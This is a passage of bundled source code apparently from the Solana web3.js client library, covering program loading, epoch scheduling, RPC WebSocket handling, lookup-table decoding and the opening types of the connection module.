connection.getMinimumBalanceForRentExemption(\n data.length,\n );\n\n // Fetch program account info to check if it has already been created\n const programInfo = await connection.getAccountInfo(\n program.publicKey,\n 'confirmed',\n );\n\n let transaction: Transaction | null = null;\n if (programInfo !== null) {\n if (programInfo.executable) {\n console.error('Program load failed, account is already executable');\n return false;\n }\n\n if (programInfo.data.length !== data.length) {\n transaction = transaction || new Transaction();\n transaction.add(\n SystemProgram.allocate({\n accountPubkey: program.publicKey,\n space: data.length,\n }),\n );\n }\n\n if (!programInfo.owner.equals(programId)) {\n transaction = transaction || new Transaction();\n transaction.add(\n SystemProgram.assign({\n accountPubkey: program.publicKey,\n programId,\n }),\n );\n }\n\n if (programInfo.lamports < balanceNeeded) {\n transaction = transaction || new Transaction();\n transaction.add(\n SystemProgram.transfer({\n fromPubkey: payer.publicKey,\n toPubkey: program.publicKey,\n lamports: balanceNeeded - programInfo.lamports,\n }),\n );\n }\n } else {\n transaction = new Transaction().add(\n SystemProgram.createAccount({\n fromPubkey: payer.publicKey,\n newAccountPubkey: program.publicKey,\n lamports: balanceNeeded > 0 ? balanceNeeded : 1,\n space: data.length,\n programId,\n }),\n );\n }\n\n // If the account is already created correctly, skip this step\n // and proceed directly to loading instructions\n if (transaction !== null) {\n await sendAndConfirmTransaction(\n connection,\n transaction,\n [payer, program],\n {\n commitment: 'confirmed',\n },\n );\n }\n }\n\n const dataLayout = BufferLayout.struct<\n Readonly<{\n bytes: number[];\n bytesLength: number;\n bytesLengthPadding: number;\n instruction: number;\n offset: number;\n }>\n >([\n BufferLayout.u32('instruction'),\n BufferLayout.u32('offset'),\n BufferLayout.u32('bytesLength'),\n BufferLayout.u32('bytesLengthPadding'),\n BufferLayout.seq(\n BufferLayout.u8('byte'),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'bytes',\n ),\n ]);\n\n const chunkSize = Loader.chunkSize;\n let offset = 0;\n let array = data;\n let transactions = [];\n while (array.length > 0) {\n const bytes = array.slice(0, chunkSize);\n const data = Buffer.alloc(chunkSize + 16);\n dataLayout.encode(\n {\n instruction: 0, // Load instruction\n offset,\n bytes: bytes as number[],\n bytesLength: 0,\n bytesLengthPadding: 0,\n },\n data,\n );\n\n const transaction = new Transaction().add({\n keys: [{pubkey: program.publicKey, isSigner: true, isWritable: true}],\n programId,\n data,\n });\n transactions.push(\n sendAndConfirmTransaction(connection, transaction, [payer, program], {\n commitment: 'confirmed',\n }),\n );\n\n // Delay between sends in an attempt to reduce rate limit errors\n if (connection._rpcEndpoint.includes('solana.com')) {\n const REQUESTS_PER_SECOND = 4;\n await sleep(1000 / REQUESTS_PER_SECOND);\n }\n\n offset += chunkSize;\n array = array.slice(chunkSize);\n }\n await Promise.all(transactions);\n\n // Finalize the account loaded with program data for execution\n {\n const dataLayout = BufferLayout.struct<IInstructionInputData>([\n BufferLayout.u32('instruction'),\n ]);\n\n const data = Buffer.alloc(dataLayout.span);\n dataLayout.encode(\n {\n instruction: 1, // Finalize instruction\n },\n data,\n );\n\n const transaction = new Transaction().add({\n keys: [\n {pubkey: program.publicKey, isSigner: true, isWritable: true},\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n ],\n programId,\n data,\n });\n const deployCommitment = 'processed';\n const finalizeSignature = await connection.sendTransaction(\n transaction,\n [payer, program],\n {preflightCommitment: deployCommitment},\n );\n const {context, value} = await connection.confirmTransaction(\n {\n signature: finalizeSignature,\n lastValidBlockHeight: transaction.lastValidBlockHeight!,\n blockhash: transaction.recentBlockhash!,\n },\n deployCommitment,\n );\n if (value.err) {\n throw new Error(\n `Transaction ${finalizeSignature} failed (${JSON.stringify(value)})`,\n );\n }\n // We prevent programs from being usable until the slot after their deployment.\n // See https://github.com/solana-labs/solana/pull/29654\n while (\n true // eslint-disable-line no-constant-condition\n ) {\n try {\n const currentSlot = await connection.getSlot({\n commitment: deployCommitment,\n });\n if (currentSlot > context.slot) {\n break;\n }\n } catch {\n /* empty */\n }\n await new Promise(resolve =>\n setTimeout(resolve, Math.round(MS_PER_SLOT / 2)),\n );\n }\n }\n\n // success\n return true;\n }\n}\n","import type {Buffer} from 'buffer';\n\nimport {PublicKey} from './publickey';\nimport {Loader} from './loader';\nimport type {Connection} from './connection';\nimport type {Signer} from './keypair';\n\n/**\n * @deprecated Deprecated since Solana v1.17.20.\n */\nexport const BPF_LOADER_PROGRAM_ID = new PublicKey(\n 'BPFLoader2111111111111111111111111111111111',\n);\n\n/**\n * Factory class for transactions to interact with a program loader\n *\n * @deprecated Deprecated since Solana v1.17.20.\n */\nexport class BpfLoader {\n /**\n * Minimum number of signatures required to load a program not including\n * retries\n *\n * Can be used to calculate transaction fees\n */\n static getMinNumSignatures(dataLength: number): number {\n return Loader.getMinNumSignatures(dataLength);\n }\n\n /**\n * Load a SBF program\n *\n * @param connection The connection to use\n * @param payer Account that will pay program loading fees\n * @param program Account to load the program into\n * @param elf The entire ELF containing the SBF program\n * @param loaderProgramId The program id of the BPF loader to use\n * @return true if program was loaded successfully, false if program was already loaded\n */\n static load(\n connection: Connection,\n payer: Signer,\n program: Signer,\n elf: Buffer | Uint8Array | Array<number>,\n loaderProgramId: PublicKey,\n ): Promise<boolean> {\n return Loader.load(connection, payer, program, loaderProgramId, elf);\n }\n}\n","var objToString = Object.prototype.toString;\nvar objKeys = Object.keys || function(obj) {\n\t\tvar keys = [];\n\t\tfor (var name in obj) {\n\t\t\tkeys.push(name);\n\t\t}\n\t\treturn keys;\n\t};\n\nfunction stringify(val, isArrayProp) {\n\tvar i, max, str, keys, key, propVal, toStr;\n\tif (val === true) {\n\t\treturn \"true\";\n\t}\n\tif (val === false) {\n\t\treturn \"false\";\n\t}\n\tswitch (typeof val) {\n\t\tcase \"object\":\n\t\t\tif (val === null) {\n\t\t\t\treturn null;\n\t\t\t} else if (val.toJSON && typeof val.toJSON === \"function\") {\n\t\t\t\treturn stringify(val.toJSON(), isArrayProp);\n\t\t\t} else {\n\t\t\t\ttoStr = objToString.call(val);\n\t\t\t\tif (toStr === \"[object Array]\") {\n\t\t\t\t\tstr = '[';\n\t\t\t\t\tmax = val.length - 1;\n\t\t\t\t\tfor(i = 0; i < max; i++) {\n\t\t\t\t\t\tstr += stringify(val[i], true) + ',';\n\t\t\t\t\t}\n\t\t\t\t\tif (max > -1) {\n\t\t\t\t\t\tstr += stringify(val[i], true);\n\t\t\t\t\t}\n\t\t\t\t\treturn str + ']';\n\t\t\t\t} else if (toStr === \"[object Object]\") {\n\t\t\t\t\t// only object is left\n\t\t\t\t\tkeys = objKeys(val).sort();\n\t\t\t\t\tmax = keys.length;\n\t\t\t\t\tstr = \"\";\n\t\t\t\t\ti = 0;\n\t\t\t\t\twhile (i < max) {\n\t\t\t\t\t\tkey = keys[i];\n\t\t\t\t\t\tpropVal = stringify(val[key], false);\n\t\t\t\t\t\tif (propVal !== undefined) {\n\t\t\t\t\t\t\tif (str) {\n\t\t\t\t\t\t\t\tstr += ',';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tstr += JSON.stringify(key) + ':' + propVal;\n\t\t\t\t\t\t}\n\t\t\t\t\t\ti++;\n\t\t\t\t\t}\n\t\t\t\t\treturn '{' + str + '}';\n\t\t\t\t} else {\n\t\t\t\t\treturn JSON.stringify(val);\n\t\t\t\t}\n\t\t\t}\n\t\tcase \"function\":\n\t\tcase \"undefined\":\n\t\t\treturn isArrayProp ? null : undefined;\n\t\tcase \"string\":\n\t\t\treturn JSON.stringify(val);\n\t\tdefault:\n\t\t\treturn isFinite(val) ? val : null;\n\t}\n}\n\nmodule.exports = function(val) {\n\tvar returnVal = stringify(val, false);\n\tif (returnVal !== undefined) {\n\t\treturn ''+ returnVal;\n\t}\n};\n","const MINIMUM_SLOT_PER_EPOCH = 32;\n\n// Returns the number of trailing zeros in the binary representation of self.\nfunction trailingZeros(n: number) {\n let trailingZeros = 0;\n while (n > 1) {\n n /= 2;\n trailingZeros++;\n }\n return trailingZeros;\n}\n\n// Returns the smallest power of two greater than or equal to n\nfunction nextPowerOfTwo(n: number) {\n if (n === 0) return 1;\n n--;\n n |= n >> 1;\n n |= n >> 2;\n n |= n >> 4;\n n |= n >> 8;\n n |= n >> 16;\n n |= n >> 32;\n return n + 1;\n}\n\n/**\n * Epoch schedule\n * (see https://docs.solana.com/terminology#epoch)\n * Can be retrieved with the {@link Connection.getEpochSchedule} method\n */\nexport class EpochSchedule {\n /** The maximum number of slots in each epoch */\n public slotsPerEpoch: number;\n /** The number of slots before beginning of an epoch to calculate a leader schedule for that epoch */\n public leaderScheduleSlotOffset: number;\n /** Indicates whether epochs start short and grow */\n public warmup: boolean;\n /** The first epoch with `slotsPerEpoch` slots */\n public firstNormalEpoch: number;\n /** The first slot of `firstNormalEpoch` */\n public firstNormalSlot: number;\n\n constructor(\n slotsPerEpoch: number,\n leaderScheduleSlotOffset: number,\n warmup: boolean,\n firstNormalEpoch: number,\n firstNormalSlot: number,\n ) {\n this.slotsPerEpoch = slotsPerEpoch;\n this.leaderScheduleSlotOffset = leaderScheduleSlotOffset;\n this.warmup = warmup;\n this.firstNormalEpoch = firstNormalEpoch;\n this.firstNormalSlot = firstNormalSlot;\n }\n\n getEpoch(slot: number): number {\n return this.getEpochAndSlotIndex(slot)[0];\n }\n\n getEpochAndSlotIndex(slot: number): [number, number] {\n if (slot < this.firstNormalSlot) {\n const epoch =\n trailingZeros(nextPowerOfTwo(slot + MINIMUM_SLOT_PER_EPOCH + 1)) -\n trailingZeros(MINIMUM_SLOT_PER_EPOCH) -\n 1;\n\n const epochLen = this.getSlotsInEpoch(epoch);\n const slotIndex = slot - (epochLen - MINIMUM_SLOT_PER_EPOCH);\n return [epoch, slotIndex];\n } else {\n const normalSlotIndex = slot - this.firstNormalSlot;\n const normalEpochIndex = Math.floor(normalSlotIndex / this.slotsPerEpoch);\n const epoch = this.firstNormalEpoch + normalEpochIndex;\n const slotIndex = normalSlotIndex % this.slotsPerEpoch;\n return [epoch, slotIndex];\n }\n }\n\n getFirstSlotInEpoch(epoch: number): number {\n if (epoch <= this.firstNormalEpoch) {\n return (Math.pow(2, epoch) - 1) * MINIMUM_SLOT_PER_EPOCH;\n } else {\n return (\n (epoch - this.firstNormalEpoch) * this.slotsPerEpoch +\n this.firstNormalSlot\n );\n }\n }\n\n getLastSlotInEpoch(epoch: number): number {\n return this.getFirstSlotInEpoch(epoch) + this.getSlotsInEpoch(epoch) - 1;\n }\n\n getSlotsInEpoch(epoch: number) {\n if (epoch < this.firstNormalEpoch) {\n return Math.pow(2, epoch + trailingZeros(MINIMUM_SLOT_PER_EPOCH));\n } else {\n return this.slotsPerEpoch;\n }\n }\n}\n","export const Headers: typeof globalThis.Headers = globalThis.Headers;\nexport const Request: typeof globalThis.Request = globalThis.Request;\nexport const Response: typeof globalThis.Response = globalThis.Response;\nexport default globalThis.fetch;\n","import {\n CommonClient,\n ICommonWebSocket,\n IWSClientAdditionalOptions,\n NodeWebSocketType,\n NodeWebSocketTypeOptions,\n WebSocket as createRpc,\n} from 'rpc-websockets';\n\ninterface IHasReadyState {\n readyState: WebSocket['readyState'];\n}\n\nexport default class RpcWebSocketClient extends CommonClient {\n private underlyingSocket: IHasReadyState | undefined;\n constructor(\n address?: string,\n options?: IWSClientAdditionalOptions & NodeWebSocketTypeOptions,\n generate_request_id?: (\n method: string,\n params: object | Array<any>,\n ) => number,\n ) {\n const webSocketFactory = (url: string) => {\n const rpc = createRpc(url, {\n autoconnect: true,\n max_reconnects: 5,\n reconnect: true,\n reconnect_interval: 1000,\n ...options,\n });\n if ('socket' in rpc) {\n this.underlyingSocket = rpc.socket as ReturnType<typeof createRpc>;\n } else {\n this.underlyingSocket = rpc as NodeWebSocketType;\n }\n return rpc as ICommonWebSocket;\n };\n super(webSocketFactory, address, options, generate_request_id);\n }\n call(\n ...args: Parameters<CommonClient['call']>\n ): ReturnType<CommonClient['call']> {\n const readyState = this.underlyingSocket?.readyState;\n if (readyState === 1 /* WebSocket.OPEN */) {\n return super.call(...args);\n }\n return Promise.reject(\n new Error(\n 'Tried to call a JSON-RPC method `' +\n args[0] +\n '` but the socket was not `CONNECTING` or `OPEN` (`readyState` was ' +\n readyState +\n ')',\n ),\n );\n }\n notify(\n ...args: Parameters<CommonClient['notify']>\n ): ReturnType<CommonClient['notify']> {\n const readyState = this.underlyingSocket?.readyState;\n if (readyState === 1 /* WebSocket.OPEN */) {\n return super.notify(...args);\n }\n return Promise.reject(\n new Error(\n 'Tried to send a JSON-RPC notification `' +\n args[0] +\n '` but the socket was not `CONNECTING` or `OPEN` (`readyState` was ' +\n readyState +\n ')',\n ),\n );\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nexport interface IAccountStateData {\n readonly typeIndex: number;\n}\n\n/**\n * @internal\n */\nexport type AccountType<TInputData extends IAccountStateData> = {\n /** The account type index (from solana upstream program) */\n index: number;\n /** The BufferLayout to use to build data */\n layout: BufferLayout.Layout<TInputData>;\n};\n\n/**\n * Decode account data buffer using an AccountType\n * @internal\n */\nexport function decodeData<TAccountStateData extends IAccountStateData>(\n type: AccountType<TAccountStateData>,\n data: Uint8Array,\n): TAccountStateData {\n let decoded: TAccountStateData;\n try {\n decoded = type.layout.decode(data);\n } catch (err) {\n throw new Error('invalid instruction; ' + err);\n }\n\n if (decoded.typeIndex !== type.index) {\n throw new Error(\n `invalid account data; account type mismatch ${decoded.typeIndex} != ${type.index}`,\n );\n }\n\n return decoded;\n}\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport assert from '../../utils/assert';\nimport * as Layout from '../../layout';\nimport {PublicKey} from '../../publickey';\nimport {u64} from '../../utils/bigint';\nimport {decodeData} from '../../account-data';\n\nexport type AddressLookupTableState = {\n deactivationSlot: bigint;\n lastExtendedSlot: number;\n lastExtendedSlotStartIndex: number;\n authority?: PublicKey;\n addresses: Array<PublicKey>;\n};\n\nexport type AddressLookupTableAccountArgs = {\n key: PublicKey;\n state: AddressLookupTableState;\n};\n\n/// The serialized size of lookup table metadata\nconst LOOKUP_TABLE_META_SIZE = 56;\n\nexport class AddressLookupTableAccount {\n key: PublicKey;\n state: AddressLookupTableState;\n\n constructor(args: AddressLookupTableAccountArgs) {\n this.key = args.key;\n this.state = args.state;\n }\n\n isActive(): boolean {\n const U64_MAX = BigInt('0xffffffffffffffff');\n return this.state.deactivationSlot === U64_MAX;\n }\n\n static deserialize(accountData: Uint8Array): AddressLookupTableState {\n const meta = decodeData(LookupTableMetaLayout, accountData);\n\n const serializedAddressesLen = accountData.length - LOOKUP_TABLE_META_SIZE;\n assert(serializedAddressesLen >= 0, 'lookup table is invalid');\n assert(serializedAddressesLen % 32 === 0, 'lookup table is invalid');\n\n const numSerializedAddresses = serializedAddressesLen / 32;\n const {addresses} = BufferLayout.struct<{addresses: Array<Uint8Array>}>([\n BufferLayout.seq(Layout.publicKey(), numSerializedAddresses, 'addresses'),\n ]).decode(accountData.slice(LOOKUP_TABLE_META_SIZE));\n\n return {\n deactivationSlot: meta.deactivationSlot,\n lastExtendedSlot: meta.lastExtendedSlot,\n lastExtendedSlotStartIndex: meta.lastExtendedStartIndex,\n authority:\n meta.authority.length !== 0\n ? new PublicKey(meta.authority[0])\n : undefined,\n addresses: addresses.map(address => new PublicKey(address)),\n };\n }\n}\n\nconst LookupTableMetaLayout = {\n index: 1,\n layout: BufferLayout.struct<{\n typeIndex: number;\n deactivationSlot: bigint;\n lastExtendedSlot: number;\n lastExtendedStartIndex: number;\n authority: Array<Uint8Array>;\n }>([\n BufferLayout.u32('typeIndex'),\n u64('deactivationSlot'),\n BufferLayout.nu64('lastExtendedSlot'),\n BufferLayout.u8('lastExtendedStartIndex'),\n BufferLayout.u8(), // option\n BufferLayout.seq(\n Layout.publicKey(),\n BufferLayout.offset(BufferLayout.u8(), -1),\n 'authority',\n ),\n ]),\n};\n","const URL_RE = /^[^:]+:\\/\\/([^:[]+|\\[[^\\]]+\\])(:\\d+)?(.*)/i;\n\nexport function makeWebsocketUrl(endpoint: string) {\n const matches = endpoint.match(URL_RE);\n if (matches == null) {\n throw TypeError(`Failed to validate endpoint URL \\`${endpoint}\\``);\n }\n const [\n _, // eslint-disable-line @typescript-eslint/no-unused-vars\n hostish,\n portWithColon,\n rest,\n ] = matches;\n const protocol = endpoint.startsWith('https:') ? 'wss:' : 'ws:';\n const startPort =\n portWithColon == null ? null : parseInt(portWithColon.slice(1), 10);\n const websocketPort =\n // Only shift the port by +1 as a convention for ws(s) only if given endpoint\n // is explicitly specifying the endpoint port (HTTP-based RPC), assuming\n // we're directly trying to connect to agave-validator's ws listening port.\n // When the endpoint omits the port, we're connecting to the protocol\n // default ports: http(80) or https(443) and it's assumed we're behind a reverse\n // proxy which manages WebSocket upgrade and backend port redirection.\n startPort == null ? '' : `:${startPort + 1}`;\n return `${protocol}//${hostish}${websocketPort}${rest}`;\n}\n","import HttpKeepAliveAgent, {\n HttpsAgent as HttpsKeepAliveAgent,\n} from 'agentkeepalive';\nimport bs58 from 'bs58';\nimport {Buffer} from 'buffer';\n// @ts-ignore\nimport fastStableStringify from 'fast-stable-stringify';\nimport type {Agent as NodeHttpAgent} from 'http';\nimport {Agent as NodeHttpsAgent} from 'https';\nimport {\n type as pick,\n number,\n string,\n array,\n boolean,\n literal,\n record,\n union,\n optional,\n nullable,\n coerce,\n instance,\n create,\n tuple,\n unknown,\n any,\n} from 'superstruct';\nimport type {Struct} from 'superstruct';\nimport RpcClient from 'jayson/lib/client/browser';\nimport {JSONRPCError} from 'jayson';\n\nimport {EpochSchedule} from './epoch-schedule';\nimport {SendTransactionError, SolanaJSONRPCError} from './errors';\nimport fetchImpl from './fetch-impl';\nimport {DurableNonce, NonceAccount} from './nonce-account';\nimport {PublicKey} from './publickey';\nimport {Signer} from './keypair';\nimport RpcWebSocketClient from './rpc-websocket';\nimport {MS_PER_SLOT} from './timing';\nimport {\n Transaction,\n TransactionStatus,\n TransactionVersion,\n VersionedTransaction,\n} from './transaction';\nimport {Message, MessageHeader, MessageV0, VersionedMessage} from './message';\nimport {AddressLookupTableAccount} from './programs/address-lookup-table/state';\nimport assert from './utils/assert';\nimport {sleep} from './utils/sleep';\nimport {toBuffer} from './utils/to-buffer';\nimport {\n TransactionExpiredBlockheightExceededError,\n TransactionExpiredNonceInvalidError,\n TransactionExpiredTimeoutError,\n} from './transaction/expiry-custom-errors';\nimport {makeWebsocketUrl} from './utils/makeWebsocketUrl';\nimport type {Blockhash} from './blockhash';\nimport type {FeeCalculator} from './fee-calculator';\nimport type {TransactionSignature} from './transaction';\nimport type {CompiledInstruction} from './message';\n\nconst PublicKeyFromString = coerce(\n instance(PublicKey),\n string(),\n value => new PublicKey(value),\n);\n\nconst RawAccountDataResult = tuple([string(), literal('base64')]);\n\nconst BufferFromRawAccountData = coerce(\n instance(Buffer),\n RawAccountDataResult,\n value => Buffer.from(value[0], 'base64'),\n);\n\n/**\n * Attempt to use a recent blockhash for up to 30 seconds\n * @internal\n */\nexport const BLOCKHASH_CACHE_TIMEOUT_MS = 30 * 1000;\n\n/**\n * HACK.\n * Copied from rpc-websockets/dist/lib/client.\n * Otherwise, `yarn build` fails with:\n * https://gist.github.com/steveluscher/c057eca81d479ef705cdb53162f9971d\n */\ninterface IWSRequestParams {\n [x: string]: any;\n [x: number]: any;\n}\n\ntype ClientSubscriptionId = number;\n/** @internal */ type ServerSubscriptionId = number;\n/** @internal */ type SubscriptionConfigHash = string;\n/** @internal */ type SubscriptionDisposeFn = () => Promise<void>;\n/** @internal */ type SubscriptionStateChangeCallback = (\n nextState: StatefulSubscription['state'],\n) => void;\n/** @internal */ type SubscriptionStateChangeDisposeFn = () => void;\n/**\n * @internal\n * Every subscription contains the args used to open the subscription with\n * the server, and a list of callers interested in notifications.\n */\ntype BaseSubscription<TMethod = SubscriptionConfig['method']> = Readonly<{\n args: IWSRequestParams;\n callbacks: Set<Extract<SubscriptionConfig, {method: TMethod}>['callback']>;\n}>;\n/**\n * @internal\n * A subscription may be in various states of connectedness. Only when it is\n * fully connected will it have a server subscription id associated with it.\n * This id can be returned to the server to unsubscribe the client entirely.\n */\ntype StatefulSubscription = Readonly<\n // New subscriptions that have not yet been\n // sent to the server start in this state.\n | {\n state: 'pending';\n }\n // These subscriptions have been sent to the server\n // and are waiting for the server to acknowledge them.\n | {\n state: 'subscribing';\n }\n // These subscriptions have been acknowledged by the\n // server and have been assigned server subscription ids.\n | {\n serverSubscriptionId: ServerSubscriptionId;\n state: 'subscribed';\n }\n // These subscriptions are intended to be torn down and\n // are waiting on an acknowledgement from the server.\n | {\n serverSubscriptionId: ServerSubscriptionId;\n state: 'unsubscribing';\n }\n // The request to tear down these subscriptions has been\n // acknowledged by the server. The `serverSubscriptionId`\n // is the id of the now-dead subscription.\n | {\n serverSubscriptionId: ServerSubscriptionId;\n state: 'unsubscribed';\n }\n>;\n/**\n * A type that encapsulates a subscription's RPC method\n * names and notification (callback) signature.\n */\ntype SubscriptionConfig = Readonly<\n | {\n callback: AccountChangeCallback;\n method: 'accountSubscribe';\n unsubscribeMethod: 'accountUnsubscribe';\n }\n | {\n callback: LogsCallback;\n method: 'logsSubscribe';\n unsubscribeMethod: 'logsUnsubscribe';\n }\n | {\n callback: ProgramAccountChangeCallback;\n method: 'programSubscribe';\n unsubscribeMethod: 'programUnsubscribe';\n }\n | {\n callback: RootChangeCallback;\n method: 'rootSubscribe';\n unsubscribeMethod: 'rootUnsubscribe';\n }\n | {\n callback: SignatureSubscriptionCallback;\n method: 'signatureSubscribe';\n unsubscribeMethod: 'signatureUnsubscribe';\n }\n | {\n callback: SlotChangeCallback;\n method: 'slotSubscribe';\n unsubscribeMethod: 'slotUnsubscribe';\n }\n | {\n callback: SlotUpdateCallback;\n method: 'slotsUpdatesSubscribe';\n unsubscribeMethod: 'slotsUpdatesUnsubscribe';\n }\n>;\n/**\n * @internal\n * Utility type that keeps tagged unions intact while omitting properties.\n */\ntype DistributiveOmit<T, K extends PropertyKey> = T extends unknown\n ? Omit<T, K>\n : never;\n/**\n * @internal\n * This type represents a single subscribable 'topic.' It's made up of:\n *\n * - The args used to open the subscription with the server,\n * - The state of the subscription, in terms of its connectedness, and\n * - The set of callbacks to call when the server publishes notifications\n *\n * This record gets indexed by `SubscriptionConfigHash` and is used to\n * set up subscriptions, fan out notifications, and track subscription state.\n */\ntype Subscription = BaseSubscription &\n StatefulSubscription &\n DistributiveOmit<SubscriptionConfig, 'callback'>;\n\ntype RpcRequest = (methodName: string, args: Array<any>) => Promise<any>;\n\ntype RpcBatchRequest = (requests: RpcParams[]) => Promise<any[]>;\n\n/**\n * @internal\n */\nexport type RpcParams = {\n methodName: string;\n args: Array<any>;\n};\n\nexport type TokenAccountsFilter =\n | {\n mint: PublicKey;\n }\n | {\n programId: PublicKey;\n };\n\n/**\n * Extra contextual information for RPC responses\n */\nexport type Context = {\n slot: number;\n};\n\n/**\n * Options for sending transactions\n */\nexport type SendOptions = {\n /** disable transaction verification step */\n skipPreflight?: boolean;\n /** preflight commitment level */\n preflightCommitment?: Commitment;\n /** Maximum number of times for the RPC node to retry sending the transaction to the leader. */\n maxRetries?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Options for confirming transactions\n */\nexport type ConfirmOptions = {\n /** disable transaction verification step */\n skipPreflight?: boolean;\n /** desired commitment level */\n commitment?: Commitment;\n /** preflight commitment level */\n preflightCommitment?: Commitment;\n /** Maximum number of times for the RPC node to retry sending the transaction to the leader. */\n maxRetries?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Options for getConfirmedSignaturesForAddress2\n */\nexport type ConfirmedSignaturesForAddress2Options = {\n /**\n * Start searching backwards from this transaction signature.\n * @remarks If not provided the search starts from the highest max confirmed block.\n */\n before?: TransactionSignature;\n /** Search until this transaction signature is reached, if found before `limit`. */\n until?: TransactionSignature;\n /** Maximum transaction signatures to return (between 1 and 1,000, default: 1,000). */\n limit?: number;\n};\n\n/**\n * Options for getSignaturesForAddress\n */\nexport type SignaturesForAddressOptions = {\n /**\n * Start searching backwards from this transaction signature.\n * @remarks If not provided the search starts from the highest max confirmed block.\n */\n before?: TransactionSignature;\n /** Search until this transaction signature is reached, if found before `limit`. */\n until?: TransactionSignature;\n /** Maximum transaction signatures to return (between 1 and 1,000, default: 1,000). */\n limit?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * RPC Response with extra contextual information\n */\nexport type RpcResponseAndContext<T> = {\n /** response context */\n context: Context;\n /** response value */\n value: T;\n};\n\nexport type BlockhashWithExpiryBlockHeight = Readonly<{\n blockhash: Blockhash;\n lastValidBlockHeight: number;\n}>;\n\n/**\n * A strategy for confirming transactions that uses the last valid\n * block height for a given blockhash to check for transaction expiration.\n */\nexport type BlockheightBasedTransactionConfirmationStrategy =\n BaseTransactionConfirmationStrategy & BlockhashWithExpiryBlockHeight;\n\n/**\n * A strategy for confirming durable nonce transactions.\n */\nexport type DurableNonceTransactionConfirmationStrategy =\n BaseTransactionConfirmationStrategy & {\n /**\n * The lowest slot at which to fetch the nonce value from the\n * nonce account. This should be no lower than the slot at\n * which the last-known value of the nonce was fetched.\n */\n minContextSlot: number;\n /**\n * The account where the current value of the nonce is stored.\n */\n nonceAccountPubkey: PublicKey;\n /**\n * The nonce value that was used to sign the transaction\n * for which confirmation is being sought.\n */\n nonceValue: DurableNonce;\n };\n\n/**\n * Properties shared by all transaction confirmation strategies\n */\nexport type BaseTransactionConfirmationStrategy = Readonly<{\n /** A signal that, when aborted, cancels any outstanding transaction confirmation operations */\n abortSignal?: AbortSignal;\n signature: TransactionSignature;\n}>;\n\n/**\n * This type represents all transaction confirmation strategies\n */\nexport type TransactionConfirmationStrategy =\n | BlockheightBasedTransactionConfirmationStrategy\n | DurableNonceTransactionConfirmationStrategy;\n\n/* @internal */\nfunction assertEndpointUrl(putativeUrl: string) {\n if (/^https?:/.test(putativeUrl) === false) {\n throw new TypeError('Endpoint URL must start with `http:` or `https:`.');\n }\n return putativeUrl;\n}\n\n/** @internal */\nfunction extractCommitmentFromConfig<TConfig>(\n commitmentOrConfig?: Commitment | ({commitment?: Commitment} & TConfig),\n) {\n let commitment: Commitment | undefined;\n let config: Omit<TConfig, 'commitment'> | undefined;\n if (typeof commitmentOrConfig === 'string') {\n commitment = commitmentOrConfig;\n } else if (commitmentOrConfig) {\n const {commitment: specifiedCommitment, ...specifiedConfig} =\n commitmentOrConfig;\n commitment = specifiedCommitment;\n config = specifiedConfig;\n }\n return {commitment, config};\n}\n\n/**\n * @internal\n */\nfunction applyDefaultMemcmpEncodingToFilters(\n filters: GetProgramAccountsFilter[],\n): GetProgramAccountsFilter[] {\n return filters.map(filter =>\n 'memcmp' in filter\n ? {\n ...filter,\n memcmp: {\n ...filter.memcmp,\n encoding: filter.memcmp.encoding ?? 'base58',\n },\n }\n : filter,\n );\n}\n\n/**\n * @internal\n */\nfunction createRpcResult<T, U>(result: Struct<T, U>) {\n return union([\n pick({\n jsonrpc: literal('2.0'),\n id: string(),\n result,\n }),\n pick({\n jsonrpc: literal('2.0'),\n id: string(),\n error: pick({\n code: unknown(),\n message: string(),\n data: optional(any()),\n }),\n }),\n ]);\n}\n\nconst UnknownRpcResult = createRpcResult(unknown());\n\n/**\n * @internal\n */\nfunction jsonRpcResult<T, U>(schema: Struct<T, U>) {\n return coerce(createRpcResult(schema), UnknownRpcResult, value => {\n if ('error' in value) {\n return value;\n } else {\n return {\n ...value,\n result: create(value.result, schema),\n };\n }\n });\n}\n\n/**\n * @internal\n */\nfunction jsonRpcResultAndContext<T, U>(value: Struct<T, U>) {\n return jsonRpcResult(\n pick({\n context: pick({\n slot: number(),\n }),\n value,\n }),\n );\n}\n\n/**\n * @internal\n */\nfunction notificationResultAndContext<T, U>(value: Struct<T, U>) {\n return pick({\n context: pick({\n slot: number(),\n }),\n value,\n });\n}\n\n/**\n * @internal\n */\nfunction versionedMessageFromResponse(\n version: TransactionVersion | undefined,\n response: MessageResponse,\n): VersionedMessage {\n if (version === 0) {\n return new MessageV0({\n header: response.header,\n staticAccountKeys: response.accountKeys.map(\n accountKey => new PublicKey(accountKey),\n ),\n recentBlockhash: response.recentBlockhash,\n compiledInstructions: response.instructions.map(ix => ({\n programIdIndex: ix.programIdIndex,\n accountKeyIndexes: ix.accounts,\n data: bs58.decode(ix.data),\n })),\n addressTableLookups: response.addressTableLookups!,\n });\n } else {\n return new Message(response);\n }\n}\n\n/**\n * The level of commitment desired when querying state\n * <pre>\n * 'processed': Query the most recent block which has reached 1 confirmation by the connected node\n * 'confirmed': Query the most recent block which has reached 1 confirmation by the cluster\n * 'finalized': Query the most recent block which has been finalized by the cluster\n * </pre>\n */\nexport type Commitment =\n | 'processed'\n | 'confirmed'\n | 'finalized'\n | 'recent' // Deprecated as of v1.5.5\n | 'single' // Deprecated as of v1.5.5\n | 'singleGossip' // Deprecated as of v1.5.5\n | 'root' // Deprecated as of v1.5.5\n | 'max'; // Deprecated as of v1.5.5\n\n/**\n * A subset of Commitment levels, which are at least optimistically confirmed\n * <pre>\n * 'confirmed': Query the most recent block which has reached 1 confirmation by the cluster\n * 'finalized': Query the most recent block which has been finalized by the cluster\n * </pre>\n */\nexport type Finality = 'confirmed' | 'finalized';\n\n/**\n * Filter for largest accounts query\n * <pre>\n * 'circulating': Return the largest accounts that are part of the circulating supply\n * 'nonCirculating': Return the largest accounts that are not part of the circulating supply\n * </pre>\n */\nexport type LargestAccountsFilter = 'circulating' | 'nonCirculating';\n\n/**\n * Configuration object for changing `getAccountInfo` query behavior\n */\nexport type GetAccountInfoConfig = {\n /** The level of 